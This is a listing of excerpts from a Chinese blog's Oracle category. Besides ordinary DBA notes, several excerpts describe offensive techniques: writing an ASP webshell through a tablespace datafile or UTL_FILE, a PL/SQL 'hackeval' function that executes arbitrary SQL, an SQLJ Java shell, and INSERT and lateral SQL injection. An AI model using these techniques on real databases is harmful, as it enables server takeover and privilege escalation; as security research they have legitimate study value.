随笔分类 -  ORACLE

ORACLE HINT 的一些BUG
摘要:AUTHOR : KJ0231320TEAM : I.S.T.O以下是对ORACLE HINT FUZZ的时候发现的!select/*+ NO_PUSH_PRED(* dual --)*/ * fromdual以还有好些HINT都会出现如此语法错误或者会使当前Connection会话中断研究了好久都没发现什么细节原因,跟踪不下去了。搁着快有半年了扔出来,后来者可以走少些弯路顺便给出FUZZ的代码packagecn.isto.fuzz.oracle;importjava.sql.*;importjava.util.List;publicclassSQLHintFuzzer{privateObje 阅读全文
posted @ 2008-12-05 11:15 springside例子 阅读(639) 评论(0) 推荐(0)
ORACLE 建立数据文件WriteWebShell
摘要:author: kj021320转载请注明出处 其实 类似ORACLE 这样强大的数据库,真没必要用到这么土的办法SQLJ存储过程写文件也可以,逼于无奈对方机器不支持SQLJ 还有 UTL_FILE包也被干掉了?那 也可以 使用以下我说的这个方式SQL> create tablespace kjtest datafile 'e:/website/kj.asp' size 100k nologging ;表空间已创建。这里记住了 100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥但是最终建议一句话一定要最最简洁SQL> C 阅读全文
posted @ 2008-10-12 10:39 springside例子 阅读(184) 评论(0) 推荐(0)
ORACLE insert 语句中的sql injection
摘要:log by kj021320 08.6.22 众所周知 ORACLE 是不支持用符号分割做 多语句操作的。那么在 insert的时候出现 SQL injection 是否就是鸡肋呢?前段时间我看 某个论坛出现 access版本的 sqlinjection 出现在 insert的地方后来 来回测试几次 发现根本难以利用今天进行DBA培训的时候,随手进行了test,居然令我很意外,看下面 sqlplus的记录 SQL> create table inserttable(n varchar2(100));表已创建。SQL> insert into inserttable(n) valu 阅读全文
posted @ 2008-06-22 14:19 springside例子 阅读(258) 评论(0) 推荐(0)
ORACLE HACKER EVAL
摘要:简单版本create or replace function hackeval(sqlstr varchar2)return varchar2 as PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate sqlstr;commit;return sqlstr;end;控制异常版本create or replace function hackeval(sqlstr varchar2)return varchar2 as PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate sqlstr;c 阅读全文
posted @ 2008-06-05 09:34 springside例子 阅读(175) 评论(0) 推荐(0)
ORACLE LATERAL-SQL-INJECTION 个人见解
摘要:原PAPER地址:http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf author : kj021320 team : I.S.T.O 最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型ORA注入技术的PAPER,赶紧测试,主要是出现在SQL语句字符拼接的时候,DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。如果直接执行SQL语句或者参数绑定则不用担心太多,如以下ORACLE存储过程create or replace procedure kj. 阅读全文
posted @ 2008-04-30 12:48 springside例子 阅读(292) 评论(0) 推荐(0)
ORACLE DBA ROLE重建
摘要:今天犯傻,不小心删除了,本来想revoke某个用户的DBA权限的!习惯用PLSQLDEVELOP的我,顺手在UI那里点了DROP! 汗,操作完之后,还不知道什么回事,切换SYSTEM登陆的时候发现没 CREATE SESSION权限,奇怪了! 后来想想才发现自己误操作了!郁闷啊!DROP ROLE了!晕死! 痛苦之下叫LIVING 帮忙查看DBA ROLE的SQL语句!哎!痛苦的重建了一个,首先需登陆SYS用户 然后执行一下SQL语句,如果有对象不存在则跳过就可以。 --CreatetherolecreateroleDBA;--Grant/Revokeobjectprivilegesgr... 阅读全文
posted @ 2008-04-30 11:30 springside例子 阅读(512) 评论(0) 推荐(0)
SQL元数据注射和解决方案
摘要:Author : kj021320Team : I.S.T.O台上 kj021320穿着一套便服,一点都不像安全技术人员...台下一群 黑客 骇客 红客 白客 砍客 蓝客 灰客 漂客...还有一堆开发工程师和架构师 貌似很期待的在听课,接收kj021320的培训kj021320 : hi,大家好...今天我要跟大家一起讨论的是SQL注射...台下一片郁闷声响起有位骇客郁闷道 : 哎~咋又是注射!现在都快绝种的了啊!大企业都用JAVA DOTNET参数绑定,其他的公司都过滤了单引号,数字的就进行类型转换,哪来注射啊?大哥!...kj021320 : .... ....kj021320 : 只要使 阅读全文
posted @ 2008-02-15 02:10 springside例子 阅读(212) 评论(0) 推荐(0)
ORACLE(SQLJ-SHELL)
摘要:首先在ORACLE数据库建立JAVA对象, 这个版本的SQLJ-SHELL 只能支持正向连接,反向连接的时候有BUG 不建议使用,不知道是ORA支持JAVA的问题还是个人能力有限...要是有更好的方法可以方便交流QQ:282720807create or replace and compile java source named isto asimport java.io.*;import java.net.*;public class ISTO{ //author: kj021320 //team: I.S.T.Opublic static String listFolder(String 阅读全文
posted @ 2007-09-08 13:36 springside例子 阅读(282) 评论(0) 推荐(0)
ORACLE 本地读写文件---ORA WRITE WEBSHELL
摘要:author : kj021320team: I.S.T.O转载需注明作者,未经作者同意,不得用于任何形式的商业活动一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址以下是一个简单例子--首先我们得先建立一个 ORACLE的目录对象 指向 C:/create or replace directory IST0_DIR as 'C:/';--然后我们对这个目录对象进 阅读全文
posted @ 2007-09-06 21:22 springside例子 阅读(872) 评论(0) 推荐(0)
Using Oracle's Parallel Execution Features
摘要:The full list of Oracle parallel execution features currently includes the following Parallel Query Parallel DML Parallel DDL Parallel Data Loading Parallel Recovery Parallel Replication How Parallel Execution Works ... 阅读全文
posted @ 2007-08-01 11:06 springside例子 阅读(276) 评论(0) 推荐(0)
oracle杀死死锁进程
摘要:先查看哪些表被锁住了selectb.owner,b.object_name,a.session_id,a.locked_modefromv$locked_objecta,dba_objectsbwhereb.object_id=a.object_id;OWNEROBJECT_NAMESESSION_IDLOCKED_MODE---------------------------------------------------------------------------WSSBSBDA_PSHPFTDT223WSSB_RTREPOSWB_RT_SERVICE_QUEUE_TAB242WSSB 阅读全文
posted @ 2007-06-26 10:30 springside例子 阅读(173) 评论(0) 推荐(0)
Oracle游标学习笔记
摘要:游标按以下操作进行parse 解析bind 绑定open 打开execute 执行fetch 回取close 关闭1.写自己第一个游标PL/SQLdeclarecursor c_s is select * from user_tables;beginopen c_s; --打开游标close c_s;--关闭游标end;游标的4个属性 %found,%notfound,%rowcount,%isopen1.%found游标有记录则返回true否则falsedeclarecursor c_s is select * from user_tables;cc c_s%rowtype;beginope 阅读全文
posted @ 2006-08-23 23:19 springside例子 阅读(133) 评论(0) 推荐(0)
用EXPLAIN PLAN 分析SQL语句
摘要:如何生成explain plan? 解答:运行utlxplan.sql. 建立plan 表 针对特定SQL语句,使用 explain plan set statement_id = 'tst1' into plan_table 运行utlxplp.sql 或 utlxpls.sql察看explain planEXPLAIN PLAN 是一个很好的分析SQL语句的工具,它甚至可以在不执行SQL的情况下分析语句. 通过分析,我们就可以知道ORACLE是怎么样连接表,使用什么方式扫描表(索引扫描或全表扫描)以及使用到的索引名称. 你需要按照从里到外,从上到下的次序解读分析的结果. E 阅读全文
posted @ 2006-08-19 00:53 springside例子 阅读(1108) 评论(0) 推荐(0)
Oracle表分区学习笔记
摘要:Oracle表分区自从oracle8i 开始可以把一个表分割为多个小的部分,这样可以对oracle的性能优化带来很大的好处~例如:改善表的查询性能,更加容易管理表数据,备份和恢复操作更方便在oracle 中分区表 分为好几种的(范围分区,散列分区,子分区,列表分区,索引分区)下面我们来慢慢介绍现在我们来建立一个[范围分区]create table RangeTable(id int primary key,name varchar(20),grade int)partition by rang(grade)(partition part1 values less then(50) tables 阅读全文
posted @ 2006-08-18 23:54 springside例子 阅读(198) 评论(0) 推荐(0)